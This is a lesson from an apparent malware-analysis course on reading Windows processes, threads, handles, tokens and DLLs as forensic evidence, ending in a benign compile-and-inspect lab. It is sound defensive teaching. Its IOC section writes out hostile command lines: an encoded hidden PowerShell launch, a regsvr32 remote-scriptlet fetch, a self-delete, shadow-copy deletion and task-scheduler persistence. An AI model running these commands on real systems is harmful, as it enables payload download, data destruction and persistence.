Skip to content

Leçon 5.2 · Windows pour analystes· 40 min

Processes, Threads and DLLs

What processes, threads and DLLs look like to an observer — PEB, TEB, tokens, handles, process trees and module lists — and how to read them as evidence.

Cette leçon n’est disponible qu’en anglais pour le moment.

Objectifs

  • Describe what a process owns (address space, handle table, token, PEB) and what a thread owns (context, stacks, TEB)
  • Inspect processes, threads, handles and modules with Process Explorer, System Informer and Process Monitor
  • Read parent/child relationships and command lines as analysis evidence, and know where they can lie
  • Recognise the CreateProcess family and the flags that change what you should expect to observe
  • Explain how DLLs get into a process and spot modules or threads that do not belong

How a Binary Is Loaded and Run followed one executable from CreateProcess to main. This lesson changes viewpoint. You are no longer the loader; you are the analyst watching a machine on which a sample has just run. What you see is a set of processes, each containing threads and modules, linked to each other by parent/child relationships and by handles. Almost every behavioural finding you will report — "it spawned PowerShell", "it injected into explorer.exe", "it loaded a DLL from %TEMP%" — is a statement about these three objects. Knowing what each one is, and which of its attributes can be trusted, is what turns a screenshot of a process tree into evidence.

What a process is

A process is a container. It does not run code itself; its threads do. What the process holds is everything those threads share:

ComponentWhat it isWhat you look for
Virtual address spacePrivate memory map: the image, DLLs, heaps, stacks, other allocationsExecutable regions that are not backed by a file on disk
Handle tableThe process's open references to kernel objects: files, registry keys, other processes, threads, mutexes, sectionsHandles to other processes, named mutexes, files in odd locations
Access tokenThe security identity: user SID, groups, privileges, integrity levelWho it runs as, whether it is elevated, which privileges are enabled
PEBUser-mode Process Environment Block: image base, loaded-module lists, process parametersCommand line, image path, current directory, environment
At least one threadThe things that actually executeWhere each thread started
IdentifiersProcess ID (PID), parent PID, session ID, creation timeTree position, timing

Two layers describe every process. The kernel keeps its own record (an EPROCESS structure) that user-mode code cannot touch. The PEB, by contrast, lives inside the process's own address space, where the process — or anything that can write to its memory — can modify it. That split matters to an observer: a value a tool reads from the PEB (the command line, the module list, the image path shown in some columns) is only as trustworthy as the process itself. The PEB fields you met in the loading lesson (BeingDebugged, ImageBaseAddress, Ldr) sit next to one more that matters here:

x64 PEB fieldOffsetWhy analysts care
ProcessParameters0x20Pointer to RTL_USER_PROCESS_PARAMETERS: ImagePathName, CommandLine, CurrentDirectory, Environment

The token and integrity levels

Every process carries a primary access token. For triage, four things in it are worth reading on the Security tab of Process Explorer or System Informer:

  • User. NT AUTHORITY\SYSTEM, a service account, or the logged-on user.
  • Integrity level. Low (sandboxed renderers, protected-mode processes), Medium (normal user programs), High (elevated "Run as administrator"), System (services and core OS processes). A sample that started at Medium and later has a High-integrity child without a UAC prompt in your session is showing you a UAC bypass.
  • Privileges. SeDebugPrivilege enabled in an ordinary program means it intends to open other users' or system processes. Most privileges are present but disabled until code calls AdjustTokenPrivileges.
  • Groups. Membership in BUILTIN\Administrators, and whether that group is enabled or "deny-only" (a non-elevated admin token).

The handle table

A handle is a process-local number that refers to a kernel object. Handles are the process's current relationships, which makes them a live view of what it is doing. In System Informer's Handles tab (or Process Explorer's lower pane in handle view, Ctrl+H), the types that most often matter are:

  • Process and Thread handles to other processes — a prerequisite for reading or writing their memory. A sample holding an all-access handle to explorer.exe deserves a close look.
  • Mutant (a mutex) with a name — frequently a family-specific "only run once" marker and a good IOC; a later lesson in this module, Mutexes, Events and Inter-Process Communication, covers them.
  • File and Key handles — files it keeps open (logs, staged payloads) and registry keys it is watching or writing.
  • Section handles — shared memory, including mapped files and memory shared between processes.

Handles are transient. A program that opens a key, writes a value and closes it leaves no handle for you to find; that is what Process Monitor's event log is for.

What a thread is

A thread is the unit the scheduler runs. Each thread has:

  • a context — the saved register state (RIP, RSP, general-purpose registers, flags) that the kernel restores when the thread is scheduled;
  • a user-mode stack in the process's address space and a separate kernel stack (see the stack);
  • a Thread Environment Block (TEB), pointed to by gs on x64 (fs on x86, see segment registers);
  • a thread ID (TID), a priority, and a start address.
x64 TEB fieldOffsetContents
NtTib.StackBase / StackLimit0x08 / 0x10Bounds of the thread's user stack
NtTib.Self0x30Linear address of the TEB itself
ClientId0x40PID and TID of this thread
ProcessEnvironmentBlock0x60Pointer to the PEB
LastErrorValue0x68What GetLastError returns

This is why mov rax, gs:[0x60] in disassembly means "get the PEB", and gs:[0x30] means "get my own TEB".

The start address is the most useful thread attribute

When a thread is created, the kernel records where it was told to begin. Tools show this as the start address, resolved to module!function+offset when it falls inside a loaded image. On a clean process you will see patterns such as:

text
  TID    Start address
  4812   sample.exe+0x14e0                 main thread, the image's entry point
  6120   ntdll.dll!TppWorkerThread         thread-pool worker
  6344   combase.dll!CRpcThreadCache::…    COM plumbing

The one that should stop you is a start address that resolves to no module at all — a bare hexadecimal address inside a private, executable memory region. Legitimate code almost always starts threads at functions inside images; code that was written into memory at runtime has no image to belong to. That single observation is the most common host-side clue to shellcode, unpacked payloads and injected code (see reflective DLL injection and APC injection). Two caveats:

  • The start address is recorded at creation. A thread started at a legitimate function and later redirected by SetThreadContext keeps its innocent start address — the essence of thread execution hijacking.
  • JIT runtimes (.NET, browsers, Java) legitimately execute from private memory. Judge unbacked threads in the context of what the process is.

To go past the start address, open a thread's stack in Process Explorer or System Informer. With symbols configured, the call stack shows where the thread is now — waiting in NtDelayExecution (sleeping), NtWaitForSingleObject, or a socket receive — which is often enough to say what an idle implant is waiting for.

Tools for observing, without a kernel debugger

Everything in this lesson can be seen with free user-mode tools. WinDbg becomes useful later; you do not need it to read a process tree.

ToolBest for
Process Explorer (Sysinternals)Live tree, command lines, image signatures, VirusTotal lookup, threads and stacks, DLL and handle views (Ctrl+D / Ctrl+H)
System Informer (formerly Process Hacker)Same live views plus a detailed Memory tab (region type, protection, whether it is image-backed), token editing and per-module details
Process Monitor (Sysinternals)Recorded history: process start and exit, image loads, file, registry and network events. Tools → Process Tree shows processes that have already exited
SysmonPersistent, queryable event log: Event ID 1 (process creation), 5 (termination), 7 (image loaded), 8 (CreateRemoteThread), 10 (process access)
ListDLLs / Handle (Sysinternals CLI)Scriptable module and handle listings; listdlls -u lists only unsigned DLLs
PowerShell / CIMQuick text dumps of PID, parent PID and command line

For a quick tree from a shell:

powershell
Get-CimInstance Win32_Process |
  Select-Object ProcessId, ParentProcessId, Name, CommandLine |
  Sort-Object ParentProcessId | Format-Table -AutoSize -Wrap

A few Process Explorer habits pay off immediately:

  • Enable Options → Verify Image Signatures and add the Verified Signer, Command Line and Integrity columns.
  • Learn the colour coding: pink for services, light blue for processes owned by your user, purple for images Process Explorer heuristically thinks are packed, and green/red flashes for processes starting and exiting.
  • Live tools only show the present. Samples that spawn a helper for two seconds and exit are invisible there — keep Process Monitor or Sysmon recording before you run anything. The upcoming Behavioural Monitoring lesson builds a full capture routine on this.

Process creation as evidence

Every process has a parent

When a process is created, the kernel records the creator's PID as the new process's parent PID. Tools draw the tree from that single number. The tree is valuable because legitimate software has predictable parents, and most malware delivery chains do not:

text
  expected                                  suspicious
  ───────────────────────────────────       ──────────────────────────────────────
  services.exe ─► svchost.exe -k …          winword.exe ─► cmd.exe ─► powershell.exe
  wininit.exe  ─► services.exe, lsass.exe   excel.exe   ─► rundll32.exe  %TEMP%\a.dll
  explorer.exe ─► chrome.exe, notepad.exe   outlook.exe ─► mshta.exe http://…
  svchost.exe  ─► taskhostw.exe             wscript.exe ─► powershell.exe -enc …
  (Schedule)                                explorer.exe ─► svchost.exe
                                            svchost.exe  (in C:\Users\…\AppData\)

Patterns to check on every tree:

  • Office, PDF readers, browsers and mail clients spawning shells or script hosts (cmd.exe, powershell.exe, wscript.exe, cscript.exe, mshta.exe, rundll32.exe, regsvr32.exe). This is the signature of a malicious document or exploit and a staple detection rule.
  • System process names with the wrong parent, path or count. svchost.exe whose parent is not services.exe; lsass.exe anywhere but C:\Windows\System32 or with more than one instance; lookalike names such as scvhost.exe or lsasss.exe.
  • Short-lived helpers. cmd.exe /c children that run one command and exit, often for reconnaissance (whoami, ipconfig /all, net group) or cleanup.
  • The sample relaunching itself from a new location (%APPDATA%, %TEMP%, ProgramData), frequently with an argument that tells the second copy it is the "installed" instance.

Know the normal oddities too. userinit.exe starts explorer.exe and then exits, so explorer.exe normally has no live parent. smss.exe spawns per-session copies of itself that start csrss.exe and winlogon.exe and then exit. Processes launched through WMI appear under WmiPrvSE.exe, scheduled tasks under the svchost.exe hosting the Schedule service, and COM servers under the svchost.exe hosting DcomLaunch — so an indirect launch deliberately breaks the chain you would otherwise follow.

Where the parent PID can lie

The parent PID is a number recorded once, at creation. Three things undermine it:

  1. PID reuse. When the parent exits, its PID is eventually reused. A new, unrelated process can then look like the parent. Process Explorer compares creation times before nesting; when you correlate by hand, do the same, or use Sysmon's ProcessGuid/ParentProcessGuid, which are never reused.
  2. Parent PID spoofing. A creator can pass any process it can open as the "parent" through the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute in a STARTUPINFOEX structure. The child then appears under, say, explorer.exe, inherits that process's token context for some purposes, and the real creator vanishes from the tree. Sysmon Event 1 records the spoofed parent; the ETW kernel process provider records the true creator in the event header, which is how EDRs catch it (ATT&CK T1134.004).
  3. Indirect launch. WMI, scheduled tasks, services and COM make a system process the parent on purpose, as described above.

The same parent relationship is also used against you: samples check whether their own parent is explorer.exe and stay dormant if it is a debugger or sandbox runner — see parent process detection.

Command lines are IOCs

A command line is often the most specific indicator a process gives you. It is where encoded payloads, dropped file paths, C2 URLs and exported function names appear in the clear:

text
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi…   base64 of UTF-16LE script
rundll32.exe C:\Users\a\AppData\Local\Temp\x4.dat,DllRegisterServer  DLL with a non-DLL extension
regsvr32.exe /s /n /u /i:http://… scrobj.dll                     remote scriptlet
cmd.exe /c ping 127.0.0.1 -n 3 > nul & del "C:\…\sample.exe"     delay, then self-delete
vssadmin.exe delete shadows /all /quiet                          ransomware pre-encryption step
schtasks.exe /create /sc minute /mo 15 /tn "Updater" /tr "…"     scheduled-task persistence

Two precision points:

  • Capture it at creation. Sysmon Event 1 and Security Event 4688 (with the policy Include command line in process creation events enabled) record the command line the kernel received. Live tools usually read it from the PEB's ProcessParameters at the moment you look — and because the PEB is writable, a process can overwrite its own command line after it starts. If the live value and the logged value differ, that difference is itself a finding.
  • Normalise before you match. -enc, -EncodedCommand, -e and -ec are the same PowerShell switch; ^ and " can be sprinkled through cmd.exe command lines without changing their meaning. Detections built on exact strings are easy to break.

The CreateProcess family

Every user-mode way of starting a program ends in the native NtCreateUserProcess call you saw in the loading lesson, but the API a sample uses tells you what it intends and what you should expect to see:

APIWhat it doesWhat you observe
CreateProcessA/WThe general case: image, command line, flags, startup infoChild directly under the sample
CreateProcessAsUserWSame, with a token the caller suppliesChild running as a different user or integrity level
CreateProcessWithTokenW, CreateProcessWithLogonWStart under a duplicated token or new credentials; the work is done by the Secondary Logon serviceChild whose token differs from the caller's
ShellExecute(Ex)WGo through the shell: file associations, URLs, the runas verb for elevationAssociated handler starts (for example .js → wscript.exe); runas triggers a UAC prompt
WinExec, CRT system() / _popenLegacy or convenience wrappers; system runs cmd.exe /c …An extra cmd.exe layer in the tree
WMI Win32_Process.Create, Task Scheduler, service creationAsk another component to start the processParent is WmiPrvSE.exe, svchost.exe or services.exe

The creation flags and startup information change what the child looks like:

  • CREATE_SUSPENDED (0x4) — the child's initial thread does not run until ResumeThread. Legitimate uses exist, but a suspended child of a common system binary created by an unknown program is the opening move of process hollowing. In a live tool the child shows every thread in the Suspended state.
  • CREATE_NO_WINDOW (0x08000000) and DETACHED_PROCESS (0x8), or STARTF_USESHOWWINDOW with SW_HIDE — run a console program without a visible window.
  • EXTENDED_STARTUPINFO_PRESENT (0x00080000) — a STARTUPINFOEX with an attribute list follows; check it for PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (parent spoofing) or mitigation-policy attributes such as blocking non-Microsoft DLLs.
  • lpApplicationName = NULL with an unquoted path containing spaces — Windows tries each space-separated prefix, so C:\Program Files\App\app.exe may first try C:\Program.exe. Worth noticing both as a bug malware exploits and as an artefact on disk.

When you see these APIs in a sample's imports (see Reading Capabilities from Imports), the flags argument is the first thing to recover in the disassembler.

DLLs: code that lives in someone else's process

A DLL is a PE image with an export table, loaded into a process rather than run as one. It gets no process, no PID and no token of its own; it runs on the host process's threads with the host's privileges. That is exactly why malware authors like it: activity performed by a malicious DLL is attributed, in most telemetry, to whatever process loaded it.

How a DLL gets into a process

PathWhenObservable as
Static importAt load time, by the loader, from the import tablePresent from the start; listed in the PE's imports
LoadLibrary(Ex)At runtime, when code asksImage-load event after process start (Procmon Load Image, Sysmon Event 7)
Delay-loadOn first call to one of its functionsSame as LoadLibrary, but listed in the delay-import directory
A host binaryrundll32.exe dll,Export, regsvr32.exe dll (calls DllRegisterServer), a service DLL under svchost.exeA signed Windows binary whose command line names the DLL
Search-order abuseA legitimate program loads a planted DLL of the expected nameSigned EXE in a writable folder, DLL next to it — see DLL search order hijacking
Manual mappingCode copies and relocates a DLL itself, without the loaderNothing in the module list — see below

When a DLL is loaded, the loader calls its entry point, DllMain, with DLL_PROCESS_ATTACH — and later with DLL_THREAD_ATTACH / DETACH for each thread, and DLL_PROCESS_DETACH at unload. A malicious DLL therefore does not need to be "called": being loaded is enough to run code, just as TLS callbacks run before an executable's entry point. Because DllMain runs while the loader holds a lock, well-behaved code starts a thread there and returns; a new thread whose start address lies in a freshly loaded DLL is the usual trace.

For LoadLibrary calls that name the DLL without a full path, Windows searches in a fixed order. With safe search mode (the default), the desktop-application order is roughly:

text
  1. DLL redirection / API sets / already-loaded modules
  2. KnownDLLs (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
  3. the directory the application was loaded from
  4. C:\Windows\System32
  5. C:\Windows\System (16-bit)
  6. C:\Windows
  7. the current directory
  8. directories on %PATH%

Step 3 is why DLL side-loading works: copy a signed, legitimate executable into a user-writable folder, drop a malicious DLL with the name it expects next to it, and the loader picks the planted one. From the outside you see a trusted, signed process — whose module list contains one unsigned DLL from the same unusual folder.

Reading the module list

Open the DLL view (Process Explorer Ctrl+D, System Informer Modules tab, or listdlls -u <pid>) and ask of each module:

  • Path. System DLLs come from C:\Windows\System32 (or SysWOW64 for 32-bit processes) and WinSxS. Anything under %TEMP%, %APPDATA%, ProgramData or the sample's own folder needs a reason.
  • Signature. Unsigned modules in a signed Microsoft process are rare. Enable signature verification and sort by Verified Signer.
  • Name versus location. A version.dll or winhttp.dll loaded from the application folder instead of System32 is the side-loading pattern.
  • Load time. In Procmon, a DLL loaded minutes after start, just before network activity, tells you when a capability arrived.

The module list itself comes from the PEB's Ldr lists — user-mode data — so a determined sample can unlink an entry to hide it, and a manually mapped DLL is never in the list at all. The cross-check is the memory map: System Informer's Memory tab labels each region as Image (file-backed, mapped by the loader), Mapped or Private. An executable Private region that begins with MZ, or that a thread's start address points into, is a module the list is not telling you about. The upcoming Understanding Process Injection and Dumping Memory and Extracting Payloads lessons build on exactly this check.

Lab: build a small process tree and read it

This lab uses benign programs you compile yourself. Run them inside your Windows analysis VM from Building a Safe Analysis Lab, with Process Explorer, System Informer and Process Monitor installed (FLARE-VM includes all three). Build on any machine with mingw-w64.

  1. Create a small DLL with a DllMain and one rundll32-compatible export:

    c
    // labdll.c — announces itself when loaded; Hello() is callable via rundll32
    #include <windows.h>
    
    BOOL WINAPI DllMain(HINSTANCE inst, DWORD reason, LPVOID reserved) {
        if (reason == DLL_PROCESS_ATTACH)
            OutputDebugStringA("labdll: DLL_PROCESS_ATTACH");
        return TRUE;
    }
    
    __declspec(dllexport) void CALLBACK Hello(HWND hwnd, HINSTANCE inst,
                                               LPSTR args, int show) {
        MessageBoxA(NULL, args && *args ? args : "hello from labdll",
                    "labdll", MB_OK);
    }
  2. Create a launcher that starts a child with a hidden window, runs a second thread, loads the DLL at runtime and then waits so you can inspect it:

    c
    // lab.c — spawns a child, starts a worker thread, loads labdll.dll, waits
    #include <windows.h>
    #include <stdio.h>
    
    static DWORD WINAPI worker(LPVOID arg) {
        Sleep(INFINITE);                      /* idle thread to find later */
        return 0;
    }
    
    int main(void) {
        char cmd[] = "cmd.exe /c ping -n 120 127.0.0.1 > nul";
        STARTUPINFOA si = { .cb = sizeof(si) };
        PROCESS_INFORMATION pi;
    
        if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW,
                            NULL, NULL, &si, &pi))
            return 1;
        printf("lab pid %lu, child cmd.exe pid %lu\n",
               GetCurrentProcessId(), pi.dwProcessId);
        CloseHandle(pi.hThread);              /* keep hProcess open on purpose */
    
        HANDLE t = CreateThread(NULL, 0, worker, NULL, 0, NULL);
        HMODULE dll = LoadLibraryA("labdll.dll");
        printf("worker thread %lu, labdll at %p\n", GetThreadId(t), (void *)dll);
    
        puts("press Enter to exit");
        getchar();
        CloseHandle(pi.hProcess);
        return 0;
    }
  3. Build both and copy them into the same folder in the VM:

    bash
    x86_64-w64-mingw32-gcc -shared -s -o labdll.dll labdll.c -luser32
    x86_64-w64-mingw32-gcc -s -o lab.exe lab.c
  4. Start recording first. Open Process Monitor and clear the log. Leave it unfiltered for now; you will narrow the view afterwards with Tools → Process Tree and filters. Start DebugView as well if you have it, to see the OutputDebugString message from DllMain.

  5. Run lab.exe from a command prompt. Leave it waiting.

  6. Read the tree. In Process Explorer, find cmd.exe → lab.exe → cmd.exe → PING.EXE. A conhost.exe may appear next to the hidden console child. Hover or add the Command Line column and read the child's full command line. Check the Integrity column: all of them should be Medium.

  7. Read the threads. Open lab.exe → Threads. You should find the main thread starting in lab.exe, your worker thread starting at a different lab.exe+0x… offset, and possibly thread-pool workers in ntdll.dll. Select the worker and click Stack: it is waiting in NtDelayExecution, called from SleepEx.

  8. Read the modules and handles. Press Ctrl+D: labdll.dll is listed with the lab folder as its path and no verified signer, among System32 DLLs. Press Ctrl+H: find the Process handle to the cmd.exe child — the handle you deliberately kept open.

  9. Cross-check memory. In System Informer, open lab.exe → Memory. Find the region at the base address the program printed for labdll.dll. Note that it is of type Image with a file path — and that no Private region is executable. This is the baseline a clean process gives you.

  10. Watch a host binary. Run rundll32.exe labdll.dll,Hello "loaded by rundll32". In Process Explorer, the process is the signed Microsoft rundll32.exe; only its command line and its module list reveal what it is really running.

  11. Recover the history. After PING.EXE finishes (two minutes) or after you press Enter, the live tree loses those processes. In Process Monitor, open Tools → Process Tree: they are still there, with command lines, start and end times. Filter on Operation is Load Image to see the moment labdll.dll was loaded relative to process start.

Questions to answer: Which of your observations would you report as IOCs, and which are only true for this build? If lab.exe had passed CREATE_SUSPENDED, what would the child's Threads tab have shown? If the worker thread had started at a bare address with no module name, what would you check next in the Memory tab? Why does rundll32.exe being signed by Microsoft tell you nothing about the DLL it is running?

Key takeaways

  • A process is a container — address space, handle table, token, PEB — and its threads do the work; DLLs run on those threads with the host's identity.
  • Kernel-side records (PID, parent PID at creation, image-backed memory) are more trustworthy than user-mode PEB data (command line, module list), which a process can rewrite.
  • Process trees are evidence because legitimate software has predictable parents; know the normal oddities and the ways a parent can be reused, spoofed or deliberately indirect.
  • Command lines are often the most specific IOC a process gives you; capture them at creation with Sysmon or 4688 rather than trusting a live view.
  • Creation flags such as CREATE_SUSPENDED and attribute lists change what you should expect to see — and are the first thing to recover when a sample imports CreateProcess.
  • Threads that start outside any module, and executable private memory the module list does not explain, are the most common host-side signs of code that did not come from a file on disk.